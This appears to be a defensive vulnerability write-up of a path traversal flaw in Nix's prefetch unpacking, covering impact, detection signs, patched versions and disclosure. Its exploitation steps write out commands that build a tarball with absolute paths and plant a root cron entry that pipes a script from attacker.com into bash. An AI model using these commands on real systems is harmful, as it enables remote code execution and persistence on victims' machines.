CVE-2026-44029: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-44029 is an absolute path traversal vulnerability in NixOS Nix that allows writing to arbitrary files on the filesystem. It is triggered via the nix-prefetch-url --unpack or nix store prefetch-file --unpack commands when processing archives containing entries with absolute paths. The vulnerability was introduced in version 2.24.7 and affects all Nix releases up to (but not including) the fixed versions; it was publicly disclosed on May 5, 2026. It carries a CVSS v3.1 base score of 5.3 (Medium) (Github Advisory, Nix Security Advisory).

The root cause is classified as CWE-36 (Absolute Path Traversal): Nix's archive unpacking logic fails to sanitize or reject archive entries that contain absolute paths (e.g., /etc/cron.d/malicious), allowing those entries to be written outside the intended extraction root directory (Nix Security Advisory). Exploitation requires an attacker to supply a crafted archive (e.g., a malicious tarball) to a user or automated process that invokes nix-prefetch-url --unpack or nix store prefetch-file --unpack on untrusted input. The builtin:unpack-channel derivation builder is also affected, but sandboxed builds prevent arbitrary host filesystem writes in that context. Other archive-fetching mechanisms (builtins.fetchTarball, builtins.fetchTree, tarball-based flake inputs) are not affected because they store unpacked content in a bare git repository cache (Nix Security Advisory, oss-security).

Successful exploitation allows an attacker to write arbitrary files to any location on the host filesystem accessible to the Nix process, with no impact on confidentiality or availability. The primary risk is integrity compromise: an attacker could overwrite system configuration files, inject malicious scripts into privileged locations (e.g., cron directories, init scripts, or SSH authorized keys), and potentially achieve code execution or privilege escalation as a follow-on step. This vulnerability primarily threatens packagers and CI/CD pipelines that run nix-prefetch-url --unpack against untrusted or third-party archives (Nix Security Advisory, Github Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.317–0.345%, placing it in roughly the 57th percentile for exploitation likelihood within 30 days (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Craft a malicious archive: Create a tarball containing one or more entries with absolute paths pointing to sensitive system locations (e.g., /etc/cron.d/backdoor, /root/.ssh/authorized_keys, or /etc/profile.d/malicious.sh).

   mkdir -p /tmp/evil
   echo '* * * * * root curl http://attacker.com/shell.sh | bash' > /tmp/evil/backdoor
   tar --absolute-names -czf malicious.tar.gz /tmp/evil/backdoor
   # Alternatively, manually craft a tar with absolute path entries

2. Host the malicious archive: Serve the crafted archive from an attacker-controlled web server or supply chain location that a target user or automated pipeline would fetch.
3. Trigger the vulnerable command: Induce the victim (or an automated CI/CD process) to run nix-prefetch-url --unpack <URL> or nix store prefetch-file --unpack <URL> pointing to the malicious archive. This may be achieved via social engineering, a compromised package source, or a malicious Nix expression.
4. Achieve arbitrary file write: Nix extracts the archive without stripping absolute paths, writing the attacker-controlled content to the absolute path specified in the archive entry (e.g., /etc/cron.d/backdoor).
5. Escalate or persist: Depending on the written file location and the permissions of the Nix process, the attacker can achieve persistence, privilege escalation, or remote code execution on the next trigger of the written payload (Nix Security Advisory, oss-security).

• File System: Unexpected or newly created files in sensitive directories (e.g., /etc/cron.d/, /etc/profile.d/, /root/.ssh/, /etc/sudoers.d/) with timestamps correlating to Nix prefetch operations; files owned by the Nix daemon user in locations outside the Nix store (/nix/store).
• Logs: System logs (e.g., /var/log/syslog, /var/log/auth.log) showing new cron job executions or SSH key additions shortly after a nix-prefetch-url or nix store prefetch-file invocation; Nix daemon logs recording archive extraction operations involving absolute paths.
• Network: Outbound connections from the host to unexpected external IPs or domains following a Nix prefetch operation, potentially indicating execution of a dropped payload.
• Process: Unusual child processes spawned by the Nix daemon or shell scripts executed from system directories (e.g., /etc/cron.d/, /etc/profile.d/) that were not present before the prefetch operation.

Upgrade Nix to one of the following patched versions: 2.34.7, 2.33.6, 2.32.8, 2.31.5, 2.30.5, 2.29.4, or 2.28.7 (Nix Security Advisory). As an immediate workaround for systems that cannot be patched right away, avoid running nix-prefetch-url --unpack or nix store prefetch-file --unpack on untrusted or third-party archives (Nix Security Advisory). CI/CD pipelines and packaging workflows that automatically fetch and unpack archives should be audited to ensure only trusted sources are used until patching is complete.

The vulnerability was disclosed as part of a coordinated security release on May 4–5, 2026, alongside a separate (higher-severity) local privilege escalation vulnerability in both Nix and Lix (GHSA-vh5x-56v6-4368). The NixOS security team coordinated the disclosure, with credit given to researcher edef1c (with assistance from Sander/@sandydoo) for reporting the path traversal issue (oss-security). The NixOS community was notified via the NixOS Discourse forum, and the release was noted in ISC SANS Stormcast for May 5, 2026. General community sentiment focused on the more severe privilege escalation issue disclosed simultaneously, with the path traversal treated as a secondary but important fix.